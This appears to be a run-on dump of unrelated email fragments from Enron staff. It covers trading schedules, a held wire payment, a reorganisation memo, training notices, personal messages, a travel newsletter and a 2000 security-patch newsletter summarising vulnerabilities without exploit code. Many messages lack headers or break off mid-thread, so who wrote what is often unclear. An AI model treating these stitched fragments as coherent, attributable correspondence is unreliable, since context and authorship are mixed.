 - Ad for Moffett Chair-.doc

Bob:  Don't forget!  I have several confirms with power counterparties that I 
need you to negotiate.  Thanks.  Sara

When do you think the payment's due?

From:	Vos, Theresa
Sent:	Mon 11/26/2001 9:22 AM
To:	Garcia, Paul; Cothran, Robert; Swisher, Nera
Cc:	Jacoby, Ben; Booth, Chris; Mann, Kay
Subject:	RE: Northwestern

Paul/Nera - please hold the wire for Montana Megawatts I, LLC for $5,064,535.00 that was scheduled for pmt today.  I will let you know when it is ok to release it.

thanks!
theresa

	 -----Original Message-----
	From: 	Mann, Kay  
	Sent:	Monday, November 26, 2001 8:54 AM
	To:	Booth, Chris; Vos, Theresa; Jacoby, Ben
	Subject:	Northwestern

	By my calculation this payment is not due today.  I have advised Northwestern's attorney of this fact.

	Dave Duran wants to be advised prior to this money being sent.

	Thanks,

	Kay

cc:  

		 cc: 

cc:  

		 cc: 

cc:  

Dan,

Here is some of the things we need to discuss.  Les may want to add to this.  
We will see you tommorrow at your office.  Thanks.

Folks...
We are also out in position manager for Saturday at Mead 230 because of the 
LV Cogen sale going RT.

---------------------- Forwarded by Bill Williams III/PDX/ECT on 03/16/2001 

Stanley Cocke
03/16/2001 01:00 PM
cc: Cara Semperger/PDX/ECT@ECT, Stacy Runswick/PDX/ECT@ECT, Mark 
Fisher/EWC/Enron@Enron, Tom Alonso/PDX/ECT@ECT, Jeremy Morris/PDX/ECT@ECT, 
Jeff Richter/HOU/ECT@ECT, Carla Hoffman/PDX/ECT@ECT 

Subject: Position Manager at Mead230

Just wanted to let everyone know that we will be out in position manager for 
Sunday, 3/18.  We're out a total of 102MW, 17MW for HE11-16.  This is an LV 
Cogen schedule that is going real-time.

Thanks,
Stan

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/07/2000=
=20
09:43 AM ---------------------------

"NW Security and Bug Patch Alert" <Security-BugPatch@bdcimail.com> on=20
03/07/2000 08:22:13 AM
Please respond to "Security and Bug Patch Alert Help" <NWReplies@bellevue.c=
om>
cc: =20
Subject: Welcome

NETWORK WORLD FUSION FOCUS: JASON MESERVE on
SECURITY AND BUG PATCH ALERT
TODAY'S FOCUS: BUG ALERT: WELCOME
03/06/00

Today's Focus: Bug Alert: Welcome
By Jason Meserve

Welcome to the Security and Bug Patch Alert newsletter!

Given the recent spate of high-profile denial-of-service and hack
attacks and the large number of people who have signed up for this
newsletter before this first edition has been even published, it is
clear that security is a major concern in the IT community  as it
should be.

With technology now being looked upon as a profit rather than cost
center, IT departments face more pressure to keep critical systems up
and running  as well as secure. No chief information officer or network
manager wants to have to tell the CEO that their e-commerce site has
been broken into and customer credit card data copied. Stories like that
tend to stick in a potential customer=01,s mind more than an expensive
Super Bowl ad.

It=01,s hard enough to keep up with the latest new technologies, never mind
latest security patch for your operating system or e-commerce
application. But we=01,re here to help.

Once a week we=01,ll publish a list of patches and alerts from all the
major vendors and security organizations with links to the source. We=01,ll
also provide other (hopefully) useful resources for the security-
conscious IT manager.

Comments and suggestions are always welcome! Send mail to
jmeserve@nww.com.

Now on with the latest patches and alerts:

Security glitch hits Foundry switches

From this week=01,s Network World: A security problem has cropped up in
Foundry Networks=01, ServerIron switches that make the devices susceptible
to denial-of-service attacks.

Read the story:
http://www.nwfusion.com/archive/2000/89454_03-06-2000.html

Download the patch:
http://www.foundrynet.com/bugTraq.html
********

New version of Apache Web server released

The Apache Server Project released Version 1.3.12 of the popular Apache
Web server this week. The new release fixes what Apache calls a cross-
site scripting problem that could allow malicious HTML tags to be
inserted into client-side scripts. Download the new version at:
http://www.apache.org/dist/
********

Problem with Linux htdig package

Both FreeBSD and Debian are reporting a problem with the htdig package
that runs on their respective platforms. The problem is with the
htsearch and could allow a user to read any file on the local machine
accessible to the user ID that the script is running under (which in
most cases is =01+nobody=01,).

For more information from Debian:
http://www.debian.org/security/

to download a patch from FreeBSD:
http://www.freebsd.org/ports/
********

nmh Linux package patched

Versions of nmh prior to 1.0.3 have a vulnerability that could allow
malicious users to modify the MIME headers in a mail message that may
cause nmh=01,s mshow command to execute arbitrary commands. A patch is
available at:
ftp://ftp.mhost.com/pub/nmh/nmh-1.0.3.tar.gz
********

Zombie Zapper 1.1 available

Zombie Zapper 1.1 helps shut down the Troj_Trinoo denial-of-service
client on Windows NT and Unix machines. More information at:
http://razor.bindview.com/tools/index.shtml
********

Problem with MySQL password authentication

According to the makers of FreeBSD, a vulnerability in the MySQL
database server (prior to Version 3.22.32) could allow anyone that can
connect to the database to access it without a password. More
information at:
http://www.mysql.com/Manual_chapter/manual_Privilege_system.html
********

To contact Jason Meserve:
Jason Meserve is a staff writer with Network World, covering search
engines, portals, videoconferencing, IP Multicast and document management.
He also oversees the "Security Alerts" page on Fusion
(http://www2.nwfusion.com/security/bulletins.html). Jason can be reached
at mailto:jmeserve@nww.com.

go to:

message.

                                  JUNE 05, 2001

Notice ID: 2775

SUBJECT: CAPACITY UPDATE EFFECTIVE FOR WEDNESDAY, JUNE 6, 2001

             CHANGES ARE INDICATED WITH AN *

Effective Wednesday, June 6, 2001, capacities will be as follows:

Excess MDIQ              Not Available +
ISS Injections           Not Available
SIT Injections           Not Available
Imbalance Paybacks       Not Available
PAL Parks/Loan Paybacks  Not Available

Cambridge (B10)          20,000 *
Dungannon (B11)          50,000 *
Milford (B18)            15,000 *
North Greenwood (B22)         0 *
Unionville (B15)         50,000 *

Hooker (C9)              50,000 *
Windridge (C12)          50,000 *

TRANSCO:

ANR:

Paulding/Cecil          105,000 *
(F1, A2)

LEBANON AGGREGATE       195,000 *

(801)

TRANSCO:

Young Woman's Creek      15,000 *
   (MA 36)

Hanover (MA 22)         166,000 *

(MLI K1)

missing deal for mark f

sell el paso
25-30
285.00
25 mw
pv
on peak

Start Date: 3/31/01; HourAhead hour: 18;  No ancillary schedules awarded.  

Schedules\2001033118.txt

     Details:

This is really weird.  I do not know why I can't find your email with your 
comments (I really think I saw them), unless it blew itself up (or operator 
error on my part).  I will look for a hard copy.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 12/11/2000 08:57 

"Scheib, Jacqueline Pennino" <jscheib@rc.com> on 11/17/2000 10:26:09 PM
To: "'kay.mann@enron.com'" <kay.mann@enron.com>, "Jerry Leitman (E-mail)" 
<jleitman@fce.com>, "Ross M. Levine (E-mail)" <rlevine@fce.com>
cc: "Sellay, William" <WSELLAY@RC.com> 

Subject: 

 <<jgtk01!.DOC>>  <<RED FUELCELL AGR.DOC>>
Jacqueline Pennino Scheib, Esq.
Robinson & Cole LLP
280 Trumbull Street
Hartford, CT  06103
(p) 860-275-8285
(f) 860-275-8299
jscheib@rc.com

 - jgtk01!.DOC
 - RED FUELCELL AGR.DOC

can yuo set me up for the 4:00 mtg
---------------------- Forwarded by John Arnold/HOU/ECT on 09/13/2000 02:58 

Mark Frevert@ENRON
09/08/2000 10:09 AM
Sent by: Nicki Daw@ENRON
To: Alonzo Williams/HOU/ECT@ECT, Andrea Ring/HOU/ECT@ECT, Andrew H 
Lewis/HOU/ECT@ECT, Andrew R Conner/HOU/ECT@ECT, Ashton 
Soniat/Corp/Enron@ENRON, Bhavna Pandya/HOU/ECT@ECT, Bill 
Berkeland/Corp/Enron@Enron, Bill Rust/HOU/ECT@ECT, Bob Crane/HOU/ECT@ECT, 
Brad McKay/HOU/ECT@ECT, Brian O'Rourke/HOU/ECT@ECT, Bruce 
Hebert/GCO/Enron@ENRON, Caroline Abramo/Corp/Enron@Enron, Chad 
Starnes/Corp/Enron@Enron, Charles H Otto/HOU/ECT@ECT, Charlie 
Jewell/HOU/ECT@ECT, Chris Gaskill/Corp/Enron@Enron, Chris 
Germany/HOU/ECT@ECT, Chris Lenartowicz/Corp/Enron@ENRON, Clint 
Dean/Corp/Enron@Enron, Colleen Sullivan/HOU/ECT@ECT, Corry 
Bentley/HOU/ECT@ECT, Craig Breslau/HOU/ECT@ECT, Cyril Price/HOU/ECT@ECT, Dan 
Junek/HOU/ECT@ECT, Daniel Diamond/HOU/ECT@ECT, Daniel Reck/HOU/ECT@ECT, 
Darren Delage/HOU/ECT@ECT, David J Vitrella/HOU/ECT@ECT, David 
Ryan/Corp/Enron@ENRON, David Zaccour/HOU/ECT@ECT, Dean Laurent/HOU/ECT@ECT, 
Diana Allen/Corp/Enron@ENRON, Dick Jenkins/HOU/ECT@ECT, Don 
Baughman/HOU/ECT@ECT, Douglas Miller/ECF/Enron@ENRON, ITH/ENRON@Gateway, Ed 
Smith/HOU/ECT@ECT, Edward D Baughman/HOU/ECT@ECT, Elsa 
Piekielniak/Corp/Enron@Enron, Eric Saibi/Corp/Enron@ENRON, Erik 
Serio/Corp/Enron@Enron, Fletcher J Sturm/HOU/ECT@ECT, Frank 
Ermis/HOU/ECT@ECT, Fred Lagrasta/HOU/ECT@ECT, Gary Hickerson/HOU/ECT@ECT, 
Geoff Storey/HOU/ECT@ECT, George Hopley/HOU/ECT@ect, George 
McClellan/HOU/ECT@ECT, George N Gilbert/HOU/ECT@ECT, George 
Wood/Corp/Enron@Enron, Gerald Gilbert/HOU/ECT@ECT, Greg 
Trefz/Corp/Enron@ENRON, Greg Whalley/HOU/ECT@ECT, Greg Woulfe/HOU/ECT@ECT, 
Gretchen Lotz/HOU/ECT@ECT, Hunter S Shively/HOU/ECT@ECT, James E 
Terrell/HOU/ECT@ECT, Jane M Tholt/HOU/ECT@ECT, Janel 
Guerrero/Corp/Enron@Enron, Janelle Scheuer/HOU/ECT@ECT, Jared 
Kaiser/HOU/ECT@ECT, Jason Choate/Corp/Enron@ENRON, Jason 
Crawford/Corp/Enron@Enron, Jay Reitmeyer/HOU/ECT@ECT, Jay 
Wills/Corp/Enron@ENRON, Jeff King/Corp/Enron@Enron, Jeff 
Kinneman/HOU/ECT@ECT, Jeffrey A Shankman/HOU/ECT@ECT, Jennifer 
Fraser/HOU/ECT@ECT, Jennifer Shipos/HOU/ECT@ECT, Jim Homco/HOU/ECT@ECT, Joe 
Errigo/Corp/Enron@Enron, Corp/Enron@Enron, Joe Parks/Corp/Enron@ENRON, Joe 
Stepenovitch/Corp/Enron@Enron, John Arnold/HOU/ECT@ECT, John 
Berger/HOU/ECT@ECT, John Craig Taylor/HOU/ECT@ECT, John D Suarez/HOU/ECT@ECT, 
John Grass/Corp/Enron@ENRON, John Greene/HOU/ECT@ECT, John 
Kinser/HOU/ECT@ECT, John Llodra/Corp/Enron@ENRON, John M 
Singer/Corp/Enron@ENRON, John Zufferli/HOU/ECT@ECT, John Zurita/HOU/EES@EES, 
Juan Hernandez/Corp/Enron@ENRON, Judy Townsend/HOU/ECT@ECT, Kate 
Fraser/HOU/ECT@ECT, Kayne Coulter/HOU/ECT@ECT, Keith 
Comeaux/Corp/Enron@Enron, Keith Holst/HOU/ECT@ect, Keller 
Mayeaux/Corp/Enron@Enron, Kelli Stevens/HOU/ECT@ECT, Kevin 
Cline/Corp/Enron@Enron, Kevin M Presto/HOU/ECT@ECT, Kevin 
McGowan/Corp/Enron@ENRON, Kyle Schultz/HOU/ECT@ECT, Larry 
Jester/Corp/Enron@ENRON, Larry May/Corp/Enron@Enron, Larry 
Valderrama/HOU/ECT@ECT, Laura Podurgiel/HOU/ECT@ECT, Lawrence 
Clayton/Corp/Enron@Enron, Lisa Burnett/Corp/Enron@Enron, Lisa 
Lees/HOU/ECT@ECT, Lloyd Will/HOU/ECT@ECT, Lucy Ortiz/HOU/ECT@ECT, Madhup 
Kumar/Corp/Enron@ENRON, l/HOU/ECT@ECT, Marc Bir/Corp/Enron@ENRON, Maria 
Valdes/Corp/Enron@Enron, Mark Anthony Rodriguez/HOU/ECT@ECT, Mark Dana 
Davis/HOU/ECT@ECT, Mark Smith/Corp/Enron@Enron, Mark Symms/Corp/Enron@ENRON, 
Martin Cuilla/HOU/ECT@ECT, Matt Lorenz/HOU/ECT@ECT, Matthew 
Arnold/HOU/ECT@ECT, Matthew Goering/HOU/ECT@ECT, Maureen Smith/HOU/ECT@ECT, 
Michael W Bradley/HOU/ECT@ECT, Michelle D Cisneros/HOU/ECT@ECT, Mike 
Carson/Corp/Enron@Enron, Mike Curry/HOU/ECT@ECT, Mike 
Fowler/Corp/Enron@ENRON, Mike Grigsby/HOU/ECT@ECT, Mike 
Maggi/Corp/Enron@Enron, Mitch Robinson/Corp/Enron@Enron, Nelson 
Ferries/Corp/Enron@ENRON, Patrice L Mims/HOU/ECT@ECT, Patrick 
Hanse/HOU/ECT@ECT, Paul Pizzolato/HOU/ECT@ECT, Per Sekse/NY/ECT@ECT, Peter F 
Keavey/HOU/ECT@ECT, Phillip K Allen/HOU/ECT@ECT, Pushkar Shahi/HOU/ECT@ECT, 
Randall L Gay/HOU/ECT@ECT, Richard Hrabal/HOU/ECT@ect, Robert 
Benson/Corp/Enron@ENRON, Robin Barbe/HOU/ECT@ECT, Rogers Herndon/HOU/ECT@ect, 
Ronald Acevedo/LON/ECT@ECT, Sandra F Brawner/HOU/ECT@ECT, Scott 
Goodell/Corp/Enron@ENRON, Scot, t Hendrickson/HOU/ECT@ECT, Scott 
Neal/HOU/ECT@ECT, Steve Olinde/Corp/Enron@Enron, Steven Kleege/HOU/ECT@ECT, 
Steven P South/HOU/ECT@ECT, Susan W Pereira/HOU/ECT@ECT, Susan 
Wood/HOU/ECT@ECT, Sylvia S Pollan/HOU/ECT@ECT, Sylvia S Pollan/HOU/ECT@ECT, 
Tammi DePaolis/Corp/Enron@ENRON, Terri Clynes/HOU/ECT@ECT, Theresa 
Branney/HOU/ECT@ECT, Todd DeCook/Corp/Enron@Enron, Tom Donohoe/HOU/ECT@ECT, 
Tom Dutta/HOU/ECT@ECT, Tom May/Corp/Enron@Enron, Tom Mcquade/HOU/ECT@ECT, 
Tori Kuykendall/HOU/ECT@ECT, Troy Black/Corp/Enron@ENRON, Wayne 
Herndon/Corp/Enron@ENRON, William Patrick Lewis/HOU/ECT@ECT, William 
Stuart/HOU/ECT@ECT
cc: Janette Elbertson/HOU/ECT@ECT, Taffy Milligan/HOU/ECT@ECT 
Subject: Sales Practices and Anti-Manipulation Training

Sales Practices and Anti-Manipulation Training has been scheduled for 
Thursday, September 14, 2000 and Friday, September 15, 2000.  Attendance at 
this training is mandatory.  The sessions will run about 2 hours.  Since each 
session can only accommodate 50 people, please call Taffy Milligan at (713) 
345-7373 to reserve a seat.

 Session 1 Thursday, Sept. 14  2:00 p.m.
 Session 2 Thursday, Sept. 14  4:00 p.m.
 Session 3 Friday, Sept. 15  9:00 a.m.
 Session 4 Friday, Sept. 15  2:00 p.m.

Location details will be forwarded upon registration.

If you have any questions, please contact Mark Taylor at (713) 853-7459.

Mark Frevert / Mark Haedicke

I had a big lunch, so something light sounds good.

"Neil Mann" <nmann@erac.com> on 11/02/2000 04:27:22 PM
To: "C. Kay Mann (E-mail)" <Kay.Mann@Enron.com>
cc:  

Subject: dependent care

I spoke with a lady in St Louis HR who said she paid in advance for her
child last year. She said it does not matter when you paid. She suggested we
ask St F for a quarterly statement. That's what she used last year and had
no problem whatsoever getting reimbursed. I bet we are not the only folks in
this situation at St F.

I confirmed the fence installation for Wednesday 11/8 at 1:15pm. I will be
at an HCA luncheon that morning for 1 hour of CE and should be finished in
time to be at the house by then.

Any thought on what you would like for dinner?

Neil

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---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 12/22/2000 

"Laura Ide" <lide@riskwaters.com> on 12/22/2000 11:54:31 AM
cc:  
Subject: Energy & Power Risk Management 2001

I would like to confirm the invitation for you to participate at our annual  
congress in Houston. Following our conversation, I would be most interested 
in  including a presentation on 'Modeling price volatility in US power  
markets'  in the pricing, hedging & trading stream on the 14th May,  2001.

I am keen to confirm each speaker and session by the end of next week, which  
will then allow time to work with each presenter on titles and points that 
will  provide an accurate summary for the session.

If you have any overall views or suggestions regarding the conference feel  
free to email me at pbristow@riskwaters.com or call me on  212 925 6990, 
extn. 225. I look forward to confirming your participation at  Energy & Power 
Risk Management 2001. IMPORTANT: Due to system problems I am  using another 
system. Please do not reply to this email. Please reply to the  address given 
above.

Yours sincerely,

Paul Bristow

Manager of Conferences, USA

Risk Waters Group
 - spktemp2.doc

As discussed, please see the attached draft of GISB.  

Regards,

You're invited to join community and national experts as they discuss your most pressing concerns about September 11th and the ongoing issues we face as a nation.

Operation Hope: Reclaiming Our Future 
One Step at a Time

A cooperative community effort to provide a free evening of information, for the entire family (ages 5 and up)

An evening of hope and healing and a blueprint on how to adapt to these challenging times!

Sponsored by Enron 
	 
Date:		Thursday, October 25, 2001
Time: 		Registration from 6:15 PM - 6:50 PM
          		Program from 7:00 PM - 9:00 PM
Place: 	 	JW Marriott across from the Galleria on Westheimer

Admission is free, but by RSVP only because of limited space

To RSVP and for more information, please call 713-303-3966
Or Log On to
www.enronoperationhope.com

I still haven't received a 401K package. Who should I contact to get signed 
up? 

Thanx,

Chris

We are expecting  Willamette Industries back tomorrow.  Please be in touch 
with them and Les, and maximize the profit for these guys (last month we made 
$78,000).
Thanks,
Bill

Lester Rawson
04/20/2001 02:36 PM
To: Bill Williams III/PDX/ECT@ECT
cc:  

Subject: Willamette

Real Time Traders,

Willamette Ind. expects to be back tomorrow 4/21. Doug Reiner will call in 
the morning. Willamette expects to have 10 - 15 Mw available each hour.

Call me if there are any questions.

Les

Hi Vince,

In order to provide the marketing department with sufficient lead time for
our financial mathematics course, the brochure will need to be printed by
the end of next week. I would like to confirm the bullets for your two
sessions at the 2001 series of courses. If you feel that there is little
need to update the points I'll include the previous outlines. The one
addition I would like to make is on the 'practical example' point at the end
of each session. If we could provide a line outlining what the example would
be, this would add some important information to this event.

I will be in the office until Wedesday afternoon and would very much like to
talk with you about your views on this years' event. I will be out of the
office on Thursday and Friday and will need to confirm my changes at the
start of next week.

Matthew, sounds fine - I will have Kay start managing the calendar.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 02/14/2001 
08:58 AM ---------------------------

Matthew Scrimshaw
02/12/2001 02:00 AM
cc:  
Subject: Re: EES Europe - Outsourcing Reorganisation  

Dave - Thanks - I'll pass on the points.  I am pleased to say you sound as 
direct and blunt as that other man from the provinces - Pope!

As you and Janet will be over before March 12th, I'll postpone my trip until 
later in the year.

Matthew

10/02/2001 00:41
To: Matthew Scrimshaw/LON/ECT@ECT
cc:  
Subject: Re: EES Europe - Outsourcing Reorganisation

Matthew, Janet and I are going to come your way before March 12th.  I'll give 
you a call to discuss further.

Couple of points, I would hope you would share with your group on Monday:

 - the European retail business is an important and strategic focus for Enron 
and EES;
 - it encompases a material part of EES's and Enron Europes margin plan for 
2001 - so execution and most probably over performance is key in 2001;
 - it was birthplace of one of the key EES distribution platforms that needs 
to be migrated to North America - Enron Direct and the ITOL structure (for 
the large industrial customer);
 - the European business IS one of the largest growth opportunities going 
forward for EES and EES management will recognize, resource and reward that 
effort;
 - I am very involved in business strategy, execution and deals;
 - I believe in open communication, performance and high performance teams - 
no bullshit politics;
 - I recognize and reward performance, thinking, execution and leadership;
 - I flourish in a culture of ideas, fast action and success;
 - and I will be visiting London to meet everyone probably late February 
early March.

PS - I am already a citizen of the Commonwealth.

Talk to you soon!!

Regards
Delainey
06:27 PM ---------------------------

02/09/2001 10:47 AM
cc: Janet R Dietrich/HOU/ECT@ECT 

FYI, I'm planning to visit Houston w/c 12th March.  If you and Janet get here 
first I'll push that trip back a month or two.

09/02/2001 15:53
cc:  

ok, let me put something together on e-mail over the next day or so - 
otherwise we will plan to be in Europe over the next 4 weeks or so.

regards
delainey
09:51 AM ---------------------------

02/09/2001 09:22 AM
cc:  

Dave,

It would be really great for you to do that.  Unfortunately we start at 
10.30am UK / 4.30am US time (the only slot we could get for the Auditorium).  
It won't be as cool as a video link up, but if you give me a text message 
addressed to all European staff, I'll read it out.

I'll get the senior guys together on Monday for the weekly EES 2.30pm UK / 
8.30am US video conference call so you and Janet can at least speak to them.

Let's get you and Janet over to Europe to meet and greet the troops in person 
later in the year when you guys realise what you have taken on!

Matthew

09/02/2001 15:03
cc:  
Subject: EES Europe - Outsourcing Reorganisation

Matthew, would your Monday meeting be a good time (if the time change works) 
for me to introduce myself and say a few words via video conference or the 
like to your organization?

Regards
Delainey
09:01 AM ---------------------------

02/09/2001 03:04 AM
To: Enron London EES Group
cc: John Sherriff/LON/ECT@ECT, Michael R Brown/LON/ECT@ECT, David W 
Delainey/HOU/ECT@ECT, Janet R Dietrich/HOU/ECT@ECT, Dan Leff/HOU/EES@EES, 
Marty Sunde/HOU/EES@EES, Richard Lewis/LON/ECT@ECT 

Introduction

EES has been operating in Europe since late 1999 and in that time a lot of 
progress has been made.  The teams who have worked on Outsourcing in Europe 
have learnt a tremendous amount over the last year.  We now have a much 
clearer idea of what should work today in the different jurisdictions that 
comprise Europe and those elements of our offering with which customers are 
most comfortable.

The phenomenally strong financial performance in 2000 of Enron Direct and 
ETOL graphically demonstrate the future potential in Europe for a broad 
retail energy business.  With Enron's retail energy presence in Europe firmly 
established, we are restructuring our Outsourcing product offering and the 
organisation to develop and deliver it, so that we broaden our activities and 
successfully grow our earnings in line with shareholder expectations.

We now have a renewed focus in 2001.  The emphasis will be to work on only 
the largest deals (by energy commodity spend) in those markets where we 
already have a robust wholesale energy business and there is regulated and 
economic third party access to retail power distribution systems.  The main 
thrust of our offering will be commodity and Demand Side Management (DSM) 
projects and our associated price risk management capabilities.  Commodity is 
Enron's core competence and one where Enron should be in a position to 
generate sizeable gross margin at closure.  DSM projects are also important 
as they will deliver gross margin and are what differentiate us from the 
commodity competition.  We will be focussing on shorter project lead times at 
the front of a deal to ensure that we get to closure promptly - we need to 
see 80% of the value in 20% of the time.  Whilst we retain an understanding 
of O&M, this will not form part of our core offering and we will only 
consider involvement in an O&M capacity on attractive margin transactions 
where it is essential to the customer.  As the business develops it is likely 
that, to some extent, we will build the necessary O&M delivery capability to 
enhance the product offering in the future.

In those markets where we have limited wholesale capability or the third 
party access to power distribution systems is not feasible in a retail 
context, we will build and develop Utility Representation Services (URS) in 
conjunction with a DSM project offering.  This knowledge based business will 
allow us to develop retail customer networks in advance of economic system 
access and also provide valuable market information back to the wholesale 
business.  URS is ERPAG's core business and gives us a tremendous platform to 
create a pan European URS competence.

Expertise in Supply Side Management has increasingly become an issue for the 
origination team in EES Europe as we have begun to get into material deal 
development.  Whilst it is vital that we remain totally coordinated with the 
wholesale business for price risk management services, there will be a 
renewed emphasis within EES Europe to develop those commodity skills that do 
not reside in the wholesale business to allow us to promptly and effectively 
price and structure retail commodity transactions to the delivery point.

Given the renewed focus outlined above, we have taken the opportunity to 
streamline the Account Delivery and Management team, typically redeploying 
staff where they can immediately support the development of new business for 
EES Europe.  Effective Account Management remains a key capability for EES 
and as we close deals with customers we will review our staffing need in this 
area.

Organisation

After eighteen months working on establishing the outsourcing business in 
Europe, Ron Bertasi has decided to transition back to the US during the first 
half of 2001.  In the short term he will complete the Trillium property deal 
and ensure that the energy and property deals are both successfully 
launched.  I would like to take this opportunity to thank Ron, on behalf of 
everyone in Europe, for all his hard work over the last eighteen months in 
establishing the European Outsourcing business and in particular his 
leadership on the Trillium deal which represents a substantial landmark for 
the business.

Stuart Rexrode is now head of European Energy Services Outsourcing.  Stuart 
will continue in a customer facing capacity as a lead originator, whilst 
ensuring that all of the dimensions that comprise the Outsourcing team remain 
appropriately focussed.  Bob Manasse will head up the origination team and 
ensure that the deal pipeline remains full of substantial good quality 

Hala Tayyarah has been promoted to Manager within the Commodity team and will 
provide commodity pricing support to the origination team.  Hala will report 
to Peter Redpath until such time as a head of Supply Side Management is 
appointed.

Reporting to Peter Redpath, Peter Ramgolam will lead a new activity, 
Transaction Economics, supporting Origination by developing cashflow models 
to determine deal economics, identify improvements to structures to optimise 
value and capture transactions for risk management purposes.

Also reporting to Peter Redpath, John Parker will lead the implementation of 
a Position Management activity.

The attached organisation charts show these changes in the revised structure 
of EES Europe which is effective immediately.  Whilst these charts are 
relatively self explanatory for the levels shown, there will be detailed 
discussions over the next day or so to explain what the changes mean for 
individuals.  Where boxes are labelled TBA, we hope to make appointments in 
the near future.

At 10.30am on Monday 12th February we shall be holding a one hour EES-Europe 
all employee meeting in the Auditorium in place of the usual weekly staff 
meeting.  At this session we will talk about the 2001 Earnings Plan and 
provide clarity on the deal process for Outsourcing and the reasoning behind 
it.  Also, it will be an opportunity for you to raise any questions you may 
have.  I look forward to seeing you there.

Matthew

Mark

	Dan J Bump
		 
		 cc: 

D

07:55 AM
	
Ken Krisa

From: Jim
To: Ken

Dan

well.. i think thats gonna be a little late for me - although i would love to 
go.  guess we'll just have to wing it on friday!  i might get there a little 
early on friday and bowl a warmup game if you wanna do that.  see ya soon.

Dear Jeff: 
Here's a copy of the letter I received from Italy. I will keep trying for you. 
Peter 
Hallo Peter, 
We are all glad you are doing well. The latest news shocked all Europe too, and thinghs are changed here as well. Today Mr. George Bush senior is here in Milano, and the city is on siege. There are the fashion shows on right now, but everybody is really laying low... 
 But eventually, and hopefully, things will settle, and (hopefully) business will be as usual again. 
Your Mies chair was quite a lucky find! Giovanni and I were looking for a similar chair for a while, but came out empty handed. All the other Design dealers we know have'nt seen one for a while... but we'll keep looking. 
We were also planning a visit to the NY Modernism show at the beginning of November. We thought they were going to cancel the event.... but they said "business as usual"! 
And we were happy to hear this. So we will be in the USA for a while, and a trip to Houston could be part of it. 

Hot List for 03/04/02

Hi from Onetravel.com!

This is a post-only e-mail. Please do not reply to this newsletter.
We want to hear from you. Send all comments to editor@onetravel.com

IN THIS ISSUE:

* HOT DEAL OF THE WEEK: 7 nights in the Dominican Republic from $603 per person, all inclusive!
* HOLLYWOOD STARS: 4 nights in Hollywood from $239!
* TRAVEL THE WORLD WITH IBERIA AIRLINES: Round-trip fares from $450!
* EUROPE CITY PAIRS ARE BACK: 3 nights in London with your choice of European cities!
* GET TO LAS VEGAS FOR LESS: Book your trip to Las Vegas with America West Vacations!
* HOTEL ROOMS IN SAN DIEGO: Book a hotel room from $138 per night!
* CAPTIVA ISLAND GETAWAY: 3 nights in Captiva Island, FL from $343!
* LAST WEEK'S MOST POPULAR DESTINATION: Book your vacation to the Dominican Republic!
* SMART TRAVELERS' CORNER: Detroit's new terminal opens. Part Two - The New.

---
* ADDITIONAL STEALS AND DEALS FROM Onetravel.com!

HOT DEAL OF THE WEEK: 7 nights in the Dominican Republic from $603 per person, all inclusive!

Spend a week mellowing on the Caribbean's second-largest island, where manatees and dolphins play in the seas and visitors play on the beaches.  Dive virgin reefs, trek rocky cliffs or let a day pass by the poolside.  Relaxation is your only concern at the all-inclusive Fiesta Bavaro resort! Packages are available through December 2002.

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---------
HOLLYWOOD STARS: 4 nights in Hollywood from $239!

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? Complimentary transportation to and from Burbank Airport
? Complimentary transportation to and from Universal Studios Hollywood (subject to scheduling)
? Welcome packet including information on the hotel, Universal Studios, area restaurants and points of interest

Click below
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Prices are per person based on double occupancy and availability. Single/triple/quad rates available upon request. Children under 18 stay free when sharing a room with 2 adults. Taxes are additional.

---------
TRAVEL THE WORLD WITH IBERIA AIRLINES: Round-trip fares from $450!

Gaze upon the exquisite art museums in Valencia, Spain or if you're in the mood to shop until you drop, then be sure to check out the luxurious boutiques in Milan!

Hurry!  The last date to book these incredible fares is March 15!

Sample fares* are below:

? NYC to Seville, Spain from $450!
? Miami to Berlin, Germany from $495!
? Atlanta to Geneva, Switzerland from $480!
? Boston to Valencia, Spain from $450!
? Detroit to Milan, Italy from $480!
? St. Louis to Lisbon, Portugal from $460!
? New Orleans to Amsterdam, Netherlands from $480!
? San Diego to Paris, France from $515!
? Denver to Brussels, Belgium from $480!
? Chicago to Zurich, Switzerland from $490!

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---------
EUROPE CITY PAIRS ARE BACK: 3 nights in London with 3 nights in your choice of European cities!

Spend three nights in this royal city! Set your sites on places like Buckingham Palace, St. Paul's Cathedral, Kensington Palace, and the Westminster Abbey. Pair London with your choice of four other European cities for an additional 3 days and have an unforgettable vacation.  Choose Dublin, Amsterdam, Edinburgh or Paris.  Packages start as low as $849 including airfare!

6 nights in London & Dublin from $899 per person!
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6 nights in London & Edinburgh from $869 per person!
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6 nights in London & Paris from $849 per person!
http://www.11th.com/fmv.php3?dest_loc=663&DK=11&token=15

Selected packages are available through June 2002 and include:
? Round-trip economy air on Virgin Atlantic to London
? Round-trip economy air on British Midland between London and your selected city
? Round-trip transfers between London hotel and airport (transfers to and from hotel in your selected city not included)
? Hotel accommodations
? Breakfast daily
? Hotel taxes and service charges
? London city guide & map
? Discount dining coupons

Please note that an additional hotel night and transfer may be required due to flight connections. Prices are per person based on double occupancy and availability. Single rates are available upon request. Departure taxes/airport fees are additional. Prices are in U.S. Dollars. Proof of citizenship is required for travel from the U.S. Passport and visa requirements change regularly; it is the customer's responsibility to make sure all proper documents are present at time of travel.

---------
GET TO LAS VEGAS FOR LESS: Book your trip to Las Vegas with America West Vacations!

Walk the Vegas strip, get your tan at the pool or take in a museum or two, but don't forget about the hotel attractions!  Venture outside Las Vegas and explore the conspiracy-ridden Area 51 or take a helicopter tour of the Hoover Dam and the Grand Canyon.  Experience all the culture and beauty that Vegas has to offer.  This exotic destination will make your heart skip a beat.

Click the link below, select your departure city, travel dates and length of stay.

http://www.americawestvacations.com/1travel.html
to book your Las Vegas vacation!

---------
HOTEL ROOMS IN SAN DIEGO: Book a hotel room from $138 per night!

Book the Radisson Hotel San Diego from only $138 per night! Stop to see Shamu, the killer whale, at SeaWorld in Mission Bay or stroll through the San Diego Zoo and take a gander at all of the exotic animals! You'll need to spend more than a day exploring all of the eye-catching wonders of San Diego. Book your hotel reservation today at the Radisson Hotel San Diego from only $138 per night!

For online booking click below:
http://partner.onetravel.com/go/go.cfm?GoID=24116&Token=Mar4SanDiego

---------
CAPTIVA ISLAND GETAWAY: 3 nights in Captiva Island, FL from $343!

